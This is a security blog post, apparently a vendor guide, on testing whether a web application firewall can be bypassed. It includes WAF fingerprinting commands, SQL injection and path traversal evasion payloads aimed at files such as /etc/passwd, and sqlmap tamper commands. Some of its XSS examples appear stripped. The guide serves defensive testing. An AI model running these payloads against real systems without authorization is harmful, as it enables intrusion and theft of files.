June 26, 2026 · 13 min read · Security Testing

WAF Bypass Testing: How to Evaluate Your Web Application Firewall

A Web Application Firewall is not a vulnerability remediation tool. It is a detection and mitigation layer that buys time. The dangerous outcome is not when a WAF fails to detect an attack — it's when the security team believes the WAF provides comprehensive protection and stops testing the underlying application. Overconfidence in WAF coverage is one of the most reliable ways to end up with a compromised application.

This guide covers how to systematically test WAF coverage — the bypass techniques attackers use and how to determine whether your WAF handles them.

Authorization note: WAF bypass testing should only be performed against systems you own or have explicit written permission to test. Even in-scope testing should be coordinated with the WAF vendor or operations team to avoid triggering incident response.

What WAFs Actually Protect Against

Modern WAFs (Cloudflare, AWS WAF, ModSecurity, Imperva, Akamai Kona) primarily use pattern matching and behavioral analysis. They protect well against:

Known exploit signatures and CVEs with public payloads
Automated scanner noise (generic SQL injection, XSS probes)
Mass exploitation attempts (bots running commodity tools)
Simple OWASP Top 10 payloads without evasion

They protect poorly against:

Novel or custom payloads that don't match known signatures
Encoded or obfuscated attacks designed for evasion
Application-layer logic flaws (IDOR, privilege escalation, BOLA)
Authenticated attacks using valid sessions
Multi-step attack chains distributed across many requests

Detecting What WAF Is in Use

Before testing evasion, identify the WAF. This changes which bypass techniques are most likely to work.

# wafw00f fingerprints WAFs by response patterns
wafw00f https://target.com

# Manual: Send a simple XSS payload and examine the response
curl -s "https://target.com/?q=" -i | grep -i "server\|x-powered\|cf-ray\|x-amz\|x-sucuri"

# Cloudflare: cf-ray header, "Attention Required" error page
# AWS WAF: 403 with no body or generic AWS error page
# ModSecurity: "Not Acceptable" 406, or "Forbidden" 403 with ModSecurity in server header
# Imperva/Incapsula: incap_ses cookie, X-CDN: Incapsula header
# Akamai: X-Check-Cacheable header

Core Bypass Technique Categories

1. Encoding Evasion

WAFs parse payloads at the HTTP layer. If your encoding is valid but non-standard, the WAF may normalize differently than the application backend.

# URL encoding
Original: 
Encoded:  %3Cscript%3Ealert%281%29%3C%2Fscript%3E

# Double URL encoding
%253Cscript%253E  → WAF decodes once: %3Cscript%3E (looks safe)
                  → App decodes twice: 
# WAF may check only the first value; app may use the second

# Chunked transfer encoding — splits the body across TCP segments
Transfer-Encoding: chunked
# Some WAFs don't reassemble chunked bodies before inspection

# Content-Type confusion
# Send JSON body but declare Content-Type: application/x-www-form-urlencoded
# Some WAFs parse one format; the app parses another

# Large payload prepend — bury payload past WAF inspection limit
# Many WAFs stop inspecting after X KB; pad with junk before the malicious payload

4. SQL Injection Evasion

# Comment-based injection
' OR '1'='1     →    ' OR/**/'1'='1
' UNION SELECT  →    ' UNION/**/SELECT

# Whitespace alternatives
' UNION SELECT  →    ' UNION%09SELECT    (tab)
                →    ' UNION%0ASELECT    (newline)
                →    ' UNION%0CSELECT    (form feed)
                →    ' UNION%0DSELECT    (carriage return)

# Scientific notation for numeric injection
1 OR 1=1  →  1 OR 1e0=1e0    (MySQL/MSSQL)

# String concatenation to avoid keyword detection
SELECT 'adm'||'in'  (Oracle)
SELECT 'adm'+'in'   (MSSQL)
SELECT CONCAT('adm','in')  (MySQL)

# Hex encoding of string values
SELECT user FROM users WHERE name='admin'
→ SELECT user FROM users WHERE name=0x61646d696e

5. XSS Evasion

# Event handler alternatives when 



# HTML5 vectors that bypass regex-based filters

6. Path Traversal Evasion

# Classic traversal
../../etc/passwd

# Encoding variations
..%2F..%2Fetc%2Fpasswd       # URL encoded /
..%252F..%252Fetc%252Fpasswd  # Double encoded
..%c0%af..%c0%afetc%c0%afpasswd  # Overlong UTF-8

# Null byte termination (older CGI apps)
../../../../etc/passwd%00.jpg

# Absolute path bypass
/etc/passwd (directly, skipping traversal)

# Directory separator variations
..\..\etc\passwd  (Windows backslash)
..\/..\/etc\/passwd  (mixed separators)

Automated WAF Testing Tools

SQLmap with tamper scripts — SQLmap has a library of tamper scripts specifically for WAF evasion:

sqlmap -u "https://target.com/item?id=1" \
  --tamper=space2comment,charencode,randomcase \
  --dbms=mysql --batch

Common useful tampers: space2comment, charencode, charunicodeencode, randomcase, between, base64encode, equaltolike.

WAFNinja — dedicated WAF bypass tool:

wafninja bypass -u "https://target.com/page?name=FUZZ" \
  -p "name" -t sqli

Burp Suite with extensions — the WAF Bypass extension and Bypass WAF plugin automate encoding and evasion across Burp's intruder and scanner modules.

Testing Methodology

Baseline. Send a clean request and confirm HTTP 200. Send a known-bad payload (e.g. ' OR 1=1--) and confirm the WAF blocks it (HTTP 403 or redirect).
Fingerprint the WAF. Check headers, error pages, and cookie names to identify the vendor.
Test encoding bypass. URL encode the same payload and recheck. Double encode. Try Unicode normalization.
Test case variation. Mixed case, comment insertion, whitespace substitution.
Test protocol-level evasion. HTTP parameter pollution, content-type confusion, chunked transfer encoding.
Test authenticated bypass. Some WAFs apply different rules to authenticated sessions. Log in and repeat the same tests.
Verify the bypass actually works in the application. Passing the WAF is step one — the application must also process the payload for the attack to be exploitable.

What to Report

When you find a WAF bypass, the finding has two components that must both be reported:

WAF coverage gap — the specific technique that evades detection. This is a finding against your WAF configuration, not necessarily against the application. The fix is updating WAF rules or normalization settings.

Underlying application vulnerability — if the bypass also exploits the application, this is a separate finding. A WAF that can be bypassed to reach a SQL injection vulnerability is a critical finding. A WAF that can be bypassed to reach a properly parameterized query is informational — the application is safe; only the WAF configuration is weak.

WAF Bypass Checklist

Identified WAF vendor and version
Confirmed WAF blocks baseline malicious payloads
Tested URL encoding and double encoding
Tested Unicode normalization
Tested mixed case and keyword splitting
Tested comment insertion (SQL injection)
Tested HTTP parameter pollution
Tested chunked transfer encoding
Tested content-type confusion
Tested authenticated requests separately
Verified bypasses against the application backend, not just the WAF response
Distinguished WAF configuration issues from underlying application vulnerabilities

Ironimo tests your application against real attack payloads — including WAF-bypass-aware variants that encode, obfuscate, and fragment the same input a manual tester would try. This catches vulnerabilities that survive WAF filtering and reach your application backend.

Start free scan

← Back to blog